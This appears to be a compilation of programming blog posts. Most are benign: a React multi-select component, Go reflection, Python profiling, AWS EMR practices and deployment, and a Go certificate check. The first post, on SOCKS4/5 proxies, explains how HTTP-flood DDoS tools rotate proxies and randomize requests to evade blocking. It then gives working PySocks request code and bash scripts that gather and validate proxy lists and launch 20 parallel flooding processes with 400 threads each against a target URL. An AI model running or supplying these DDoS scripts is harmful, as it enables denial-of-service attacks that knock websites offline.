Using Sock4/5 HTTP Proxies

In this post we will review usage of sock4 and sock5 HTTP proxies, and some open source tools that are utilizing them.

These proxies, also referred as anonymous proxies, serve as intermediates which send an HTTP request to a target web server as requested by a client. Some of these proxies are available only for paying customers, but there are also some free proxies. Check out the site https://www.socks-proxy.net for a list of some of these servers.

The proxies can be used to hide a client IP, but they are also used to summon a DDoS attack on a web site. The capability to attack a web site from multiple source IP makes it difficult to protect the web site. Unlike an attack from a single source IP, which can be simply blocked upon detection of the attacking party, each of these proxies has it own IP, and hence blocking of a single IP or even detection of the attack is harder. 

No only that, but also some tools, such as CC Tool, Saphyra, and MHDDoS, are globally available open source tools, that not only use multiple sock4/sock5 proxies, but also randomize the HTTP requests including the HTTP headers, the HTTP URL, and the HTTP cookies. Hence it is not only multiple attacking IPs, but also multiple requests formats, which it hard to identify.

Let examine, for example, the CC tool. It starts by downloading list of sock4 or sock5 proxy servers, and then validates the connection to them. Then, it uses only the proxy servers that were successfully validated, and starts multiple threads to send HTTP requests. Each thread randomly selects one of the proxy servers, and sends multiple requests to the server. The requests include random URL suffix, and random headers out of a static list of predefined headers.

The socks4 and socks5 support is included in PySocks library, and a simple usage is as follows:

import socks
s = socks.socksocket()
if proxy_type == 4:
    s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
if proxy_type == 5:
    s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
if brute:
    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.settimeout(3)
s.connect((str(target), int(port)))
if protocol == "https":
    ctx = ssl.SSLContext()
    s = ctx.wrap_socket(s, server_hostname=target)
get_host = "GET " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
request = get_host + header
sent = s.send(str.encode(request))
if not sent:
    break
s.close()

Some tools reuse the same socket, and send multiple GET/POST requests on the same socket, without waiting for response. This multiplies the affect of the attack, especially if not protection/validation method is used on the server side.

To run the CC tool, we first run it to create a list of proxies to use, for example:

#!/bin/bash

set -x
VERSION=$1

python3 cc_new.py -down  -mode cc -v ${VERSION} -f socks${VERSION}_download_all.txt
sort socks${VERSION}_download_all.txt | uniq -u > socks${VERSION}_download_unique.txt
wc -l socks${VERSION}_download_unique.txt
cp socks${VERSION}_download_unique.txt socks${VERSION}.txt
python3 cc_new.py -check -mode cc -v ${VERSION} -f socks${VERSION}.txt
wc -l socks${VERSION}.txt

Then, we can run the DDoS using:

#!/bin/bash

set -x
VERSION=$1
METHOD=$2

ulimit -n 999999
for i in {1..20}; do python3 cc_new.py -url http://my-site.com -m ${METHOD} -v ${VERSION} -f socks${VERSION}.txt -s 600 -t 400& done

Multi-Selection List in React

 

In this post we will implement a simple multi-selection list in react.

We start with the component configuration. The name of the component is GuiMultiSelect.

import styles from './component.module.css'

function GuiMultiSelect(props) {
  const {selected, options, onChange, label} = props

The multi-selection receives the following properties:

• options - strings list of the possible values
• selected - strings list of the selected values
• label - the label to add for the list
• onChange - callback to invoke upon selection change

The rendering of the component includes the label, and the select element, which includes list of the options.

  return (
    <div>
      <div className={styles.label}>
        {label}
      </div>
      <select
        multiple={true}
        className={styles.select}
        size={20}
        onChange={handleChange}
      >
        {items}
      </select>
    </div>
  )
}

export default GuiMultiSelect

The options rendering uses the values from the options property, and set the selected attribute.

const items = []
options.forEach(option => {
  items.push(
    <option
      key={option}
      value={option}
      selected={selected.includes(option)}
    >
      {option}
    </option>,
  )
})

The onChange will get the updated status for each option, and send a new strings list of the selected values.

function handleChange(event) {
  const newSelected = []
  const items = event.target.getElementsByTagName('option')
  for (let i = 0; i < items.length; i++) {
    const option = items[i]
    if (option.selected) {
      newSelected.push(option.value)
    }
  }
  onChange(newSelected)
}

In addition, we add styling for the elements.

component.module.css

.select {
    width: 500px;
    font-size: 20px;
    margin-left: 20px;
}

.label{
    padding: 25px;
}

The full code is below.

component.js

import styles from './component.module.css'

function GuiMultiSelect(props) {
  const {selected, options, onChange, label} = props

  function handleChange(event) {
    const newSelected = []
    const items = event.target.getElementsByTagName('option')
    for (let i = 0; i < items.length; i++) {
      const option = items[i]
      if (option.selected) {
        newSelected.push(option.value)
      }
    }
    onChange(newSelected)
  }

  const items = []
  options.forEach(option => {
    items.push(
      <option
        key={option}
        value={option}
        selected={selected.includes(option)}
      >
        {option}
      </option>,
    )
  })

  return (
    <div>
      <div className={styles.label}>
        {label}
      </div>
      <select
        multiple={true}
        className={styles.select}
        size={20}
        onChange={handleChange}
      >
        {items}
      </select>
    </div>
  )
}

export default GuiMultiSelect

Update Go's Empty Interface

 

Some functions in Go need to update an empty interface, while finding out the actual type of data that should be used in some way. In this post we will examine how to set value for the Go's empty interface.

Let's start by configuring two structs:

import (
 "fmt"
 "reflect"
)

type Data1 struct {
 name string
}

type Data2 struct {
 age int
}

Next we use Go's reflect to update an empty interface:

func initialize(kind string, data interface{}) {
 dataValue := reflect.ValueOf(data)

 var setValue reflect.Value
 if kind == "data1" {
  initialValue := Data1{name: "init"}
  setValue = reflect.ValueOf(initialValue)
 } else {
  initialValue := Data2{age: 120}
  setValue = reflect.ValueOf(initialValue)
 }
 dataValue.Elem().Set(setValue)
}

Now we can send any type of struct to the function, and it will try to set its value, for example:

data1 := Data1{}
initialize("data1", &data1)
fmt.Printf("%+v\n", data1)

This will print:

{name:init}

We can do the same for the second type of struct:

data2 := Data2{}
initialize("data2", &data2)
fmt.Printf("%+v\n", data2)

And this time we get the following:

{age:120}

If we send a wrong type of structure, we will have a Go panic error, for example:

initialize("data2", &data1)

Will panic with the following error:

panic: reflect.Set: value of type main.Data2 is not assignable to type main.Data1

Python Profiling

In this post we will review how to profile CPU usage of python functions.

First, let us create a CPU consuming code:

import math
import random
import time


def calculate(value):
    return math.sqrt(value * 100)


def scan_dict(dict):
    for key in dict.keys():
        value = calculate(dict[key])
        if value > 100:
            print("big")


def main():
    start = time.time()
    dict = {}
    for i in range(10000):
        dict[i] = random.randint(0, 100)

    for i in range(1000):
        scan_dict(dict)

    passed = time.time() - start
    print('total {:.3f} seconds'.format(passed))

This code initializes a dictionary with 10K entries, and then it calls 1000 time to a function that scans the dictionary entries, and calculate square root for each element.

As you can see, we have a timing printing for the entire main() function. On my machine, it prints:

total 1.787 seconds

So we about 2 seconds for this program. Now lets try finding out where is the time spent. We will use cProfile for this.

import cProfile
import pstats
import io

pr = cProfile.Profile()
pr.enable()
main()
pr.disable()
s = io.StringIO()
ps = pstats.Stats(pr, stream=s).sort_stats('cumtime')
ps.print_stats()

with open('test.txt', 'w+') as f:
    f.write(s.getvalue())

The first thing noticed when wrapping the main() function with cProfile, is the response time degradation.

total 3.572 seconds

So profiling has its price. The analyze of the cProfile is saved to a file, which is sorted by the cumulative time spent in each function.

        20054767 function calls in 3.572 seconds

  Ordered by: cumulative time

  ncalls  tottime  percall  cumtime  percall filename:lineno(function)
       1    0.003    0.003    3.572    3.572 /home/alon/git/a.py:17(main)
    1000    1.527    0.002    3.557    0.004 /home/alon/git/a.py:10(scan_dict)
10000000    1.455    0.000    2.030    0.000 /home/alon/git/a.py:6(calculate)
10000000    0.575    0.000    0.575    0.000 {built-in method math.sqrt}
   10000    0.002    0.000    0.011    0.000 /usr/lib/python3.8/random.py:244(randint)
   10000    0.004    0.000    0.009    0.000 /usr/lib/python3.8/random.py:200(randrange)
   10000    0.003    0.000    0.005    0.000 /usr/lib/python3.8/random.py:250(_randbelow_with_getrandbits)
   12761    0.001    0.000    0.001    0.000 {method 'getrandbits' of '_random.Random' objects}
   10000    0.001    0.000    0.001    0.000 {method 'bit_length' of 'int' objects}
    1000    0.000    0.000    0.000    0.000 {method 'keys' of 'dict' objects}
       1    0.000    0.000    0.000    0.000 {built-in method builtins.print}
       1    0.000    0.000    0.000    0.000 {method 'format' of 'str' objects}
       2    0.000    0.000    0.000    0.000 {built-in method time.time}
       1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}

The table contains a line per function. For each function, we have the following information.

• ncalls - amount of function calls
• tottime - time spent in the function, sub-functions not included
• percall - tottime/ncalls
• cumtime - time spent in the function, sub-functions included
• percall - cumtime/ncalls

Final Note

The results are quite surprising. I had expected that the square root function will consume most of the CPU, but it turns out that most of the time was spent in the scanning of the dictionary. Turns out that python is not very effective tool to scan a big dictionary. For example, the same code in GO would run ~15 times faster.

Working with EMR Best Practices

 

In this post I'll describe some of the best practices I've learned while working with AWS EMR.

Auto Terminate

Running an EMR cluster has its costs. To save money, configure the EMR to automatically terminate in case it was not active for a long period of time, for example: 1 hour.

AWS CLI

Do not manually create the EMR cluster every time. Once the EMR cluster is configured per your need, use the AWS CLI export button to create a CLI to create the EMR cluster. Then a recreation of a terminated cluster is simple, and can even be automated.

Use Bootstrap

Bootstrap script is a shell script that runs before the spark instance starts. It is used to install pre-requirements for your need. A common pre-requirement is to install python's libraries, for example:

#!/bin/bash
sudo yum install unzip
sudo python3 -m pip install -U boto3 paramiko

Write Dynamic Code

When writing code we sometimes have, well... bugs...

To debug these, we can print debug printing to STDOUT, and check the printings in the logs.

Another method to debug is to run the code locally on your development environment, using the auto-created spark server from the pyspark library. However, there are cases that need to run differently when running on your development machine, for example, you might want to redirect access to S3 files to accessing local files on your machine. To check if the code is running in a cluster or on a development machine, we can use the following simple method:

def is_local_spark():
    return 'SPARK_PUBLIC_DNS' not in os.environ

Spark Context

Spark context must be created only once. In case a global variable is used by several modules, python might reinitialize it, hence causing errors that spark context is already created. To avoid this, we use a singleton class.

class SingletonMeta(type):
    _instances = {}

    def __call__(cls, *args, **kwargs):
        if cls not in cls._instances:
            instance = super().__call__(*args, **kwargs)
            cls._instances[cls] = instance
        return cls._instances[cls]


class SparkWrapper(metaclass=SingletonMeta):
    def __init__(self):
        self.spark_context = SparkContext.getOrCreate()


print(SparkWrapper().spark_context)

Check Certificate in GoLang

 

The following code checks a fully qualified domain name (aka FQDN), and returns a boolean indicating if the FQDN has a valid certificate. We have several steps in this.

First we check if the FQDN is an IP address. A valid certificate must be issued for a host name, and not for an IP, and hence we reject IP addresses.

Next we connect to the FQDN on port 443. To get a valid SSL certification the connection must be successful.

Now that we have an established TLS connection, we check it properties:

• The host name in the certificate must match the FQDN
• The SSL certificate is not expired

Once all the previous steps are done, we can set the SSL certificate as a valid one.

package certificateupdater

import (
 "crypto/tls"
 "fmt"
 "regexp"
 "time"
)

var ipRegex = regexp.MustCompile(`(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}`)

func IsIpAddress(name string) bool {
 return ipRegex.MatchString(name)
}

func IsValidCertificate(fqdn string) bool {
 if IsIpAddress(fqdn) {
  return false
 }

 hostAndPort := fmt.Sprintf("%v:443", fqdn)
 conn, err := tls.Dial("tcp", hostAndPort, nil)
 if err != nil {
  return false
 }
 defer func() {
  closeErr := conn.Close()
  if closeErr != nil {
   panic(closeErr)
  }
 }()

 err = conn.VerifyHostname(fqdn)
 if err != nil {
  return false
 }
 expiry := conn.ConnectionState().PeerCertificates[0].NotAfter
 if expiry.Before(time.Now()) {
  return false
 }

 return true
}

Deploy Python Application to AWS EMR

 

In this post we will review the steps to automatically deploy a python application to spark running on AWS EMR.

Our main function is the following:

import os
import re
import stat
from zipfile import ZipFile

import boto3
import paramiko


def main():
    aws_set_credentials()
    chmod_ssh_key()
    zip_remote_path = copy_source_zip_to_s3()
    main_remote_path = copy_file_to_s3('/git/my-repo/main.py', 's3-source-bucket', 'main.py')
    run_spark_application(zip_remote_path, main_remote_path)

The deploy of the application starts with handling of AWS credentials and the AWS SSH key permissions. Then we create two files in an AWS S3 bucket, that includes our application sources, and finally we run the application by SSH and run command on the AWS EMR master node.

Let examine each of the steps.

def aws_set_credentials():
    credentials_file = '/config/credentials'
    os.environ['AWS_SHARED_CREDENTIALS_FILE'] = credentials_file

The AWS set credentials updates an environment variable to point to the location of our credentials. These will be used for AWS operations, such as update of the S3 bucket. An example of a credentials file is:

[default]
aws_access_key_id=AKIAWJPWYKUU1234567
aws_secret_access_key=rXKlsqJ2inJdxBdJk123456782345678923

Next we update the SSH private key mode:

def chmod_ssh_key():
    private_key_path = '/config/ssh.pem'
    os.chmod(private_key_path, stat.S_IRUSR | stat.S_IWUSR)

The SSH private key is the one used to create the EMR master node. We will later SSH to the EMR, hence we want to make sure that SSH private key has permissions only for the owner.

Once the AWS setup is ready, we can copy the source zip file.

def create_zip_file(zip_file_path, add_folder, match_regex):
    pattern = re.compile(match_regex)
    with ZipFile(zip_file_path, 'w') as zip_object:
        for folder_name, sub_folders, file_names in os.walk(add_folder):
            for file_name in file_names:
                file_path = os.path.join(folder_name, file_name)
                if pattern.match(file_path):
                    relative_path = file_path[len(add_folder) + 1:]
                    zip_object.write(file_path, relative_path)


def copy_file_to_s3(local_file_path, bucket_name, remote_file_path):
    remote_path = 's3://{}/{}'.format(bucket_name, remote_file_path)
    session = boto3.Session()
    s3_connection = session.client('s3')
    s3_connection.upload_file(local_file_path, bucket_name, remote_file_path)
    return remote_path


def copy_source_zip_to_s3():
    source_dir = '/git/my-repo'
    zip_file_name = "emr-application.zip"
    local_zip_file_path = os.path.join('tmp', zip_file_name)
    create_zip_file(local_zip_file_path, source_dir, ".*py")
    remote_path = copy_file_to_s3(local_zip_file_path, 's3-source-bucket', zip_file_name)
    os.remove(local_zip_file_path)
    return remote_path

All the related source and dependencies should be zipped and copied to the S3, so the EMR can access it. Notice that this includes the local dependencies, but the main application python file should be copied separately, and hence the main deploy function copies both the sources zip file and the main python file to the S3 bucket.

The last step is the actual run of the application on the EMR.

def get_emr_master_id():
    client = boto3.client('emr')
    response = client.list_clusters(
        ClusterStates=[
            'RUNNING', 'WAITING',
        ],
    )

    emr_cluster_name = 'my-emr'

    for cluster in response['Clusters']:
        if cluster['Name'] == emr_cluster_name:
            return cluster['Id']

    raise Exception('emr cluster {} not located'.format(emr_cluster_name))


def get_emr_master_ip():
    cluster_id = get_emr_master_id()
    client = boto3.client('emr')
    response = client.list_instances(
        ClusterId=cluster_id,
        InstanceGroupTypes=[
            'MASTER',
        ],
        InstanceStates=[
            'RUNNING',
        ]
    )
    instances = response['Instances']
    if len(instances) != 1:
        raise Exception('emr instances count {} is invalid'.format(len(instances)))

    master_instance = instances[0]
    ip = master_instance['PublicIpAddress']
    return ip


def run_ssh_command(host, user, command):
    private_key_path = '/config/ssh.pem'
    private_key = paramiko.RSAKey.from_private_key_file(private_key_path)

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(hostname=host, username=user, pkey=private_key)
    ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(command)
    ssh_stderr.channel.recv_exit_status()
    ssh_stdout.channel.recv_exit_status()
    all_err = ssh_stderr.read().decode("utf-8")
    all_out = ssh_stdout.read().decode("utf-8")
    ssh.close()
    return all_err, all_out


def run_spark_application(s3_zip_file_path, main_file_path):
    host_ip = get_emr_master_ip()
    command_sections = [
        'spark-submit',
        '--deploy-mode cluster',
        '--master yarn',
        '--conf spark.yarn.submit.waitAppCompletion=true',
        '--py-files {}'.format(s3_zip_file_path),
        main_file_path,
    ]
    command = ' '.join(command_sections)
    error, output = run_ssh_command(host_ip, 'hadoop', command)
    print(error + '\n' + output)

We start by located the EMR master node public IP using boto3 API. Notice that the master must be in a AWS VPC/subnet that allows SSH to it. After the SSH connection is established, we use the spark submit command to run our code.

The logs of the application can be located in AWS EMR GUI after about 5 minutes, as the EMR periodically updates the status every 5 minutes.